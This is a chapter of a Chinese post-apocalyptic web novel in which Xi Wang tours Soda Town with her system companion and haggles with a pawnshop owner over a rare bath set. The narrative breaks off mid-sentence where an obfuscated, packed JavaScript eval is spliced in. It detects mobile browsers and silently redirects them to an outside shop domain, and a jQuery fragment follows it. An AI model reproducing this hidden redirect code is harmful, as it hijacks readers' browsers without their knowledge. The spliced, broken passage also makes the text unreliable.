喝完营养液,郗望离开酒馆。
本想和老板打个招呼,没想到酒馆里面空无一人。
快通宵才歇业,老板竟然还能出门?
不会因为辐射进化掉睡眠了吧?
【你能不能想想正事?】
零号疲惫地发出绝望嚎叫。
“我还有正事?”
我怎么不知道。
【钱!你承诺的租金和小孩的酬金!】
“不着急。”郗望双手在后,如遛弯般漫步镇中。
“租金有三天时间,今天只要赚到小孩的酬金就够了。”
【唉:(】
零号不再多言,顺着郗望的视觉观察小镇。
镇中心的地面铺着石板,大小不一,但十分贴合,应该人为选择或者加工过。
离开中心较为繁华的地带,周边小道多半是泥土或者被铺了层沙子。
和路相对应的是房子,石板路上的房子虽然多有铁皮,但明显能看出房屋的承重柱和结构,是经过设计的房子。
小道旁的房子也用铁皮,只是多半为东一块西一块堆积起来的“房子”,更像是铁皮底下有点空间。
两者的密集程度也不一样。
郗望绕着小道,没有深入。
“汽水镇的情况和钟成说得相差不大。”郗望在脑子里说道。
“主要差别还是那个副镇长。”
【会有麻烦吗?】
“暂时没有。”
“镇长打下的基础还没崩溃,副镇长应该还要维持征税。”
郗望走到城西市场,没见到什么人。
遗留的摊位能看出这里曾经是个大市集。
“民众和副镇长,总有一方快忍不住了。”
郗望离开市场,对着零号说道。
零号相信她的判断,忧心忡忡地说道:
【周围至少是三级辐射区,若是汽水镇出现问题,这些小孩怎么办?】
郗望再次避开乱跑的孩子,“轮不到我们来操心。”
零号没有出声,毕竟它也知道她说得对。
一座公司控制的小镇,哪里轮得到一个身无分文的人去管理。
“倒不如猜猜看,我能赚多少?”
不知不觉间,郗望走到了当铺门口。
【赚钱的方法,不会是典当吧……】
“Bingo,但是没奖励。”
郗望勇敢迈进当铺,迎上伙计热切的目光。
【把能够消辐的书卖给当铺?】
【那我们的书店还怎么运营?】
零号再再次发出哀嚎。
原来把现实当现实是针对我的要求……
……
当铺不大,一道铁网隔离里外间,中间只留一扇小窗,用以交易。
伙计在外间,里间柜台无人。
“您是活当还是死当?”伙计满脸堆笑,问道。
“死当。”郗望拿出被钟成夸赞的橙花香洗浴套组。
看见瓶子上大写的“B”,伙计为难,他拿出放大镜上下打量,像模像样地点点头。
“您稍等,我找掌柜瞧瞧。”
伙计慢慢从后门离开,关上门,两腿一蹬,像是身后有鬼追着一般大吼:
“掌柜的,有人砸场子,快来撑腰啊啊啊啊!”
“哎呀,沉稳沉稳,说多少次了?”躺在院中摇椅的中年男子嫌弃地起身。
“您瞧,有人拿这来死当,我看上面写着洗浴用,这不是扯吗?”
伙计扯着男子的袖子,义愤填膺。
“现在谁不是用沙子!”
掌柜拿起瓶子,看到那个有着独特弯钩的“B”时,眼神微顿。
再看到“橙花香”三个字时更是一惊。
掌柜一把拍住手舞足蹈的伙计问道:“问清楚了,真是死当?不赎回?”
“是死当。”伙计见状,连忙小心翼翼地问:
“掌柜的,这真能洗浴用啊?”
掌柜看着眼前的伙计,心生感慨。
伙计不过十几岁,恐怕自他记事起,市面上都没出现过沐浴露。
更别提柏氏独家的橙花香套组了。
五年前因原材料污染,柏氏正式宣布停产该套组。
本就属于高端生产线的产品被炒得有价无市。
明明不过是沐浴露,现在却成了豪奢的象征,真是笑话。
然而现在自己也要去制造笑话了。
“不仅能,还非常稀有,这是拿钱都买不到的东西。”
掌柜认真地向伙计解释,接着问道:“来人什么打扮,动作神态都说清楚。”
“大概二十岁的女性,衣着简单,白上衣,黑裤子,瞧着像是棉织物。”
伙计边回想边答道。
棉织物,如今虽不常见,但算不上稀罕物。
掌柜点头,“继续说。”
“进门之后就是拿着东西让我看,说‘死当’,我没见过,就让她等着,跑来问您。”
“没说别的话?”
伙计摇头。
不好判断,但是说不定是意外得来的,那价格……
掌柜暗自思索。
伙计见掌柜久久不语,试探地问:“这东西,要开贵价?”
“恐怕至少要500狮。”
“500?三代消辐宁都不一定能卖到500,这么个不能吃不能喝的东西……”
伙计月薪不过50狮,已经算是汽水镇的中档收入了,他无法接受毫无用处的东西竟然堪比十个月的工资。
“这东西的价值哪里在用处上!”掌柜说道,暗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526872|203554||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自摇头。
年轻人就是见识浅薄。
他不再与伙计多说,快步走到门口,整理衣服,咳嗽几声,慢悠悠地打开门。
“我是此间当铺的掌柜,伙计不识货,怠慢了贵客,还望海涵,来,请到后院详谈。”
郗望微微点头,跟着掌柜回到院子里。
伙计十分有眼色地去守店,留下两人。
“不知贵客怎么称呼?”
“免贵姓郗。”
“郗小姐,您好您好,鄙人姓陈,承蒙大家抬举,称呼一声‘陈掌柜’。”
郗?不是公司的姓,也不是联邦大家族,和军部也没关系。
“陈掌柜,伙计应该说清楚了,今天来就是要当掉这柏氏的洗浴套组。”
“是是是,我明白,不知郗小姐开价多少?”
柏氏?是个识货的,不好办啊。
“陈掌柜的规矩竟然是我来开价吗?”
郗望笑盈盈地问。
“哎呀,瞧我,与郗小姐一见如故,竟然忘了规矩。”
掌柜开怀大笑,像是当真忘了。
“我与您交底,这套组不多得,尤其是在汽水镇这前不着村,后不着店的地界。”
掌柜比了个手势,“300狮。”
凭借过人听力听完全程的郗望:微笑、起身、离开。
“郗小姐,郗小姐,可以谈可以谈,别着急走啊。”
掌柜傻眼,顾不得策略,急忙拉住郗望。
看来今天要大出血了,掌柜心一横。
“400狮。”
郗望起身。
“500狮!500狮!”掌柜连忙提价,接着说道。
“郗小姐,这是最高价了,我说句实话,这东西少见,但在汽水镇里用处不大。”
“汽水镇人习惯用沙子洗澡,有点钱的就用沙虫肥膘做的皂角,这东西拿出去,人家都不一定认得。”
郗望转身,似笑非笑,“掌柜说得有道理。”
陈掌柜满脸堆笑,“这真是实话。”
郗望点头。
“一口价,800狮。”
掌柜眼前一黑,苦涩地说道:“700狮,我只能拿出这么多……”
“成交!”
掌柜被郗望的利索一惊,随即醒悟。
被摸清楚底价了。
技不如人,认栽。
掌柜垂头丧气,亮起左手腕上的手环,“我给您转账,镇内交易,镇内可用,去联邦城市开证明也能联网用。”
这倒是触及到郗望的盲区了。
掌柜抬头,见郗望一脸茫然,立刻看向她的左手腕。
空无一物!
扳回一局的机会来了!
“我们当铺有最全智能手环,即使去联邦也可顺利联网!”